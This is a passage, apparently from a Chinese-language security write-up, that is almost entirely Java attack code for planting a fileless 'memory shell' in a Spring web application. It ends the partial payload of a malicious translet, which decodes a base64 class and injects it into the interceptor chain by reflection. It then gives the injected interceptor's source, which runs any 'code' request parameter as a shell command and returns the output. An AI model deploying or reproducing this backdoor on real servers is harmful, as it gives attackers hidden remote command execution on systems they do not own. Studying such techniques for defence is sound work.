phdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAFY2xvc2UBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoACEAHwAgAAAAAAACAAEAIQAiAAEAIwAAAC8AAQABAAAABSq3AAGxAAAAAgAkAAAABgABAAAABwAlAAAADAABAAAABQAmACcAAAABACgAKQACACMAAAG6AAYACQAAAK8rEgK5AAMCADoEGQTGAKEsuQAEAQA6BRIFOgYSBrgAB7YACBIJtgAKmQAiuwALWQa9AAxZAxINU1kEEg5TWQUZBFO3AA86B6cAH7sAC1kGvQAMWQMSEFNZBBIRU1kFGQRTtwAPOge7ABJZGQe2ABO2ABS3ABUSFrYAFzoIGQi2ABiZAAsZCLYAGacABRkGOgYZCLYAGhkFGQa2ABsZBbYAHBkFtgAdpwAFOgUDrASsAAEADwCmAKkAHgADACQAAABGABEAAAAKAAoACwAPAA0AFwAOABsAEAArABEASgATAGYAFQB8ABYAkAAXAJUAGACcABkAoQAaAKYAHACpABsAqwAdAK0AHwAlAAAAZgAKAEcAAwAqACsABwAXAI8ALAAtAAUAGwCLAC4ALwAGAGYAQAAqACsABwB8ACoAMAAxAAgAAACvACYAJwAAAAAArwAyADMAAQAAAK8ANAA1AAIAAACvADYANwADAAoApQA4AC8ABAA5AAAAOQAH/gBKBwA6BwA7BwA6/AAbBwA8/AAlBwA9QQcAOv8AGgAFBwA+BwA/BwBABwBBBwA6AAEHAEIBAQBDAAAABAABAB4AAQBEAAAAAgBF"; // magicInterceptor类class的base64编码
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(b64);
java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
m0.setAccessible(true);
m0.invoke(classLoader, className, bytes, 0, bytes.length);
//添加com.example.spring.magicInterceptor类到adaptedInterceptors
adaptedInterceptors.add(classLoader.loadClass(className).newInstance());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}package com.example.spring;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class magicInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", code});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
}over~
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